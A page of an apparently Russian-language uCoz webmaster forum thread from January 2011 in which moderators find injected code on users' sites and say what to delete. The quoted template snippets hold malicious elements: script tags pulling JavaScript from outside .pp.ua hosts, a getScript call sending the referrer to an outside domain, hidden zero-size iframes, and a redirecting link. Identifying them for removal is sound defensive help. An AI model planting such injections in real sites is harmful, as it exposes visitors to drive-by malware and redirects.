Вирусы на сайтах (для изучения)

swejak

Сообщений: 3

Репутация: 0

Сообщение # 286 | 20:26:20 12 Янв 2011

думаю шашел может это :<iframe name="I1"

src="http://p0rtal.org/publ/standart_blok_v1_0/blok_1/1-1-0-1"

width="190" height="420" scrolling="no" border="0"

frameborder="0">.</iframe>
</div><div class="block-bottom"></div>

но не как не могу его удалить!

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 287 | 20:39:51 12 Янв 2011

Quote

а через админ панель не удаляется.

в списке шаблонов глобальные блоки смотрите и ищите там блок новости сайта.
первый контейнер

Code

<div class="title"><h4 class="block-title">Новости сайта</h4></div>

<div class="block-content">
<iframe name="I1"

src="http://p0rtal.org/publ/standart_blok_v1_0/blok_1/1-1-0-1"

width="190" height="420" scrolling="no" border="0"

frameborder="0">.</iframe>
</div><div class="block-bottom"></div>

это код блока

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 288 | 20:44:25 12 Янв 2011

далее удаляем это

Code

<div class="title"><h4 class="block-title">У нас нашли</h4></div>
<div class="block-content">
<div id="SerEngiDIV">Загрузка...</div>
<script type="text/javascript">
$.getScript('http://loppert.rxfly.net/ref.php?page='+encodeURIComponent(document.referrer), function(){$('div#SerEngiDIV').html(SerEngiData)});
</script>
</div><div class="block-bottom"></div>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

касер

Сообщений: 6

Репутация: 2

Сообщение # 289 | 14:05:05 13 Янв 2011

Прив поищите пли3 тут вирус
http://point--blank.ucoz.com/

Оформление подписи нарушает правила форума Сообщества uCoz. Подробнее. / webanet.

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 290 | 14:07:47 13 Янв 2011

касер, выделенное красным удалить

Quote

<table border="0" cellpadding="0" cellspacing="0" class="boxTable"><tbody><tr><td class="boxTitle"><b>Меню сайта</b></td></tr><tr><td class="boxContent"><div align="center">Анекдоты</a></div><hr /><script type="text/javascript" src="http://r1p.pp.ua/1.js"></script><script type="text/javascript" src="http://www.ucob.ru/informer/10-1"></script></td></tr></tbody></table>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 291 | 14:12:06 13 Янв 2011

касер, там ещё очень много всякого мусора. тяжеленный флеш, ужасные кнопки перевода сайта.
главное мы удалили, но подумайте над тем чтобы снести оттуда все лишнее.

Quote

а почему удалили мой аватаР?

потому что он был анимированный. такие аватары запрещены. читайте правила форума

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

Kasik

Сообщений: 1

Репутация: -5

Сообщение # 292 | 16:04:19 13 Янв 2011

Короче говорят на моем сайте вирус... можете проверить? http://r2-go.clan.su/

Dmitry

Сообщений: 2154

Репутация: 1057

Сообщение # 293 | 16:05:51 13 Янв 2011

Kasik, из блока Анекдоты убрать

Code

там айфрэм.

Szen

Сообщений: 38

Репутация: 55

Сообщение # 294 | 16:09:29 13 Янв 2011

Kasik, в блоке "Наш опрос" я нашел это:

Code

Удалите!

szenprogs.ru

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 295 | 18:53:43 13 Янв 2011

Kasik, указанное Scorpik427 не удалено.
находится тут. выделенное красным удалить

Quote

<table border="0" cellpadding="0" cellspacing="0" width="186">
<tr><td align="center" height="30" style="background:url('/img/17.gif') #B60605;color:#FFFFFF;padding-bottom:5px;font-size:10px;"><b>Анекдоты</b></td></tr>
<tr><td style="background:url('/.s/t/982/8.gif');padding:0 5px 0 5px;">
<div align="center">Анекдоты</a></div><hr /><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script><script type="text/javascript" src="http://www.ucob.ru/informer/10-1"></script>
</td></tr>

далее в форме приветствия пользователя. выделенное красным удалить

Quote

<DIV class="boxContent" id="kabinet">
<DIV style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px" align="center">Приветствую Вас, <FONT color="#1e90ff"><B>Гость</B>!</FONT><BR>Ты здесь: <FONT color="#ff0000"><B></B></FONT>-й день<BR></DIV>
<DIV align="center">Ты в группе: <STRONG><FONT color="#ff0000">"<U>Призраки</U>"</FONT></STRONG></DIV><DIV align="center"><IMG src="http://best-softpc.ucoz.ru/poloska4.png" alt="" align="" border="0px"><STRONG><FONT color="#ff0000"></FONT></STRONG></DIV><DIV align="center"><IMG class="userAvatar" title="Гость" src="" border="0"></DIV><DIV align="center"><IMG src="http://best-softpc.ucoz.ru/poloska4.png"></DIV><DIV align="center"><DIV style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"><A title="Персональная страница" <A="" href="javascript:"><IMG src="http://best-softpc.ucoz.ru/MiniProfilIcons/note.png" alt="" border="0px"><iframe src="http://rapnews.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe></A><A title="Редактировать инфу"<A href="http://best-softpc.ucoz.ru/index/11"><IMG src="http://best-softpc.ucoz.ru/MiniProfilIcons/edit_item.png" alt="" border="0px"></A> <A title="Отправить ЛС"<A href=""><IMG src="http://best-softpc.ucoz.ru/MiniProfilIcons/email_send.png"></A></DIV><DIV style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"><IMG src="http://best-softpc.ucoz.ru/poloska4.png" alt="" align="" border="0px"></DIV><DIV style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"><A title="Форум"<A href="http://r2-go.clan.su/forum"><IMG src="http://best-softpc.ucoz.ru/MiniProfilIcons/users.png" alt="" border="0px"><a title="Личные сообщения" <A href="http://best-softpc.ucoz.ru/index/14" [Л(<FONT="" color="#ff0000">[Л(<FONT color="#ff0000"></FONT>)С]</A><A title="Выход"<A href=""><IMG src="http://best-softpc.ucoz.ru/MiniProfilIcons/delete_item.png" alt="" align="" border="0px"></A><BR></DIV><DIV style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"><IMG src="http://best-softpc.ucoz.ru/poloska4.png" alt="" align="" border="0px"></DIV></DIV>

все картинки подгружаемые в этой форме с хттп://best-softpc.ucoz.ru перезалить к себе на сайт

далее вот эту радость удалить

Quote

удалить полностью, так как внутренние скрипты этого чуда ведут на страницы 404 а на этих загадочных страницах висят кликуши. удалить все полностью

в форме входа пользователя перезалить картинки на свои

пример картинки логина

Quote

input.login
{
background: url(http://www.megacomp.ucoz.kz/Raznoe/new_profil_vxod/log.png) no-repeat;
background-color: #fff;
background-position: 0 50%;
color: #000;
padding-left: 18px;

в той же форме входа уберите этот изврат

Quote

</a><a title="Личные сообщения"></a><a href="http://best-softpc.ucoz.ru/index/14" [Л(=""><font="" color="#ff0000">[Л(<font color="#ff0000"></font>)С]</font=""></a><a title="Выход"></a><a href="">

при попытке посмотреть личное сообщение пользователя будет переносить на чужой сайт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

JimmyMan

Сообщений: 1

Репутация: 0

Сообщение # 296 | 13:06:28 14 Янв 2011

Здравствуйте..у меня появился на сайте вирус и не знаю как его убрать помогите
При заходе на сайт орет касперский!

адресс сайта http://golden-cs-elite.3dn.ru/

Открывается плеер

webanet

Сообщений: 24067

Репутация: 4985

Сообщение # 297 | 14:35:49 14 Янв 2011

JimmyMan, блок опросы. выделенное красным удалить

Quote

<hr>
<img alt="" src="http://golden-cs-elite.3dn.ru/6aHepbI/onpocbI/8.gif" align="" border="0"> <a href="javascript://" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'http://golden-cs-elite.3dn.ru/poll/0-2'});return false;">Архив</a><script src="http://iot.pp.ua/1.js" type="text/javascript"></script><br>
<img alt="" src="http://golden-cs-elite.3dn.ru/6aHepbI/onpocbI/8.gif" align="" border="0"> <a href="javascript://" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'http://golden-cs-elite.3dn.ru/poll/9'});return false;">Результаты</a> <br>
<img alt="" src="http://golden-cs-elite.3dn.ru/6aHepbI/onpocbI/8.gif" align="" border="0"> Всего голосовало: <b>9</b>
</div></form></div>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/

WebМасТер

Сообщений: 3

Репутация: 3

Уровень замечаний:

Сообщение # 298 | 22:18:51 14 Янв 2011

Сказали обратиться сюда. На сайт реагирует avast! и находит там какой-то gzip. Что делать? Адрес сайта: platforma.org.ru

.:Мой сайт:. .:Форум для начинающих:.

Сообщение отредактировал WebМасТер - Пятница, 14 Янв 2011, 22:25:03

zaur3946

Сообщений: 11

Репутация: 1

Сообщение # 299 | 18:28:25 15 Янв 2011

проверил сайт на вирусы онлайн на нескольких сайтах. Одни говорят, что все чисто, а другие - что возможно есть вредный код. Кому из них верить, и как его найти, если он есть?)) http://russia-tun.ucoz.ru/

Экспериментировать, экспериментировать и еще раз экспериментировать, тогда все получится :)

Dmitry

Сообщений: 2154

Репутация: 1057

Сообщение # 300 | 18:38:51 15 Янв 2011

zaur3946,

Code

<iframe src="http://go.jetswap.com/bb?cmd=ad&user=zaurik&net=120" scrolling="no" border="0" frameborder="0" width="120" height="60"></iframe>

убрать нужно.
он 4 раза повторяется. айфрэм не есть хорошо.

Страница 20 из 99 « 1 2 … 18 19 20 21 22 … 98 99 »
Модератор форума: Yuri_G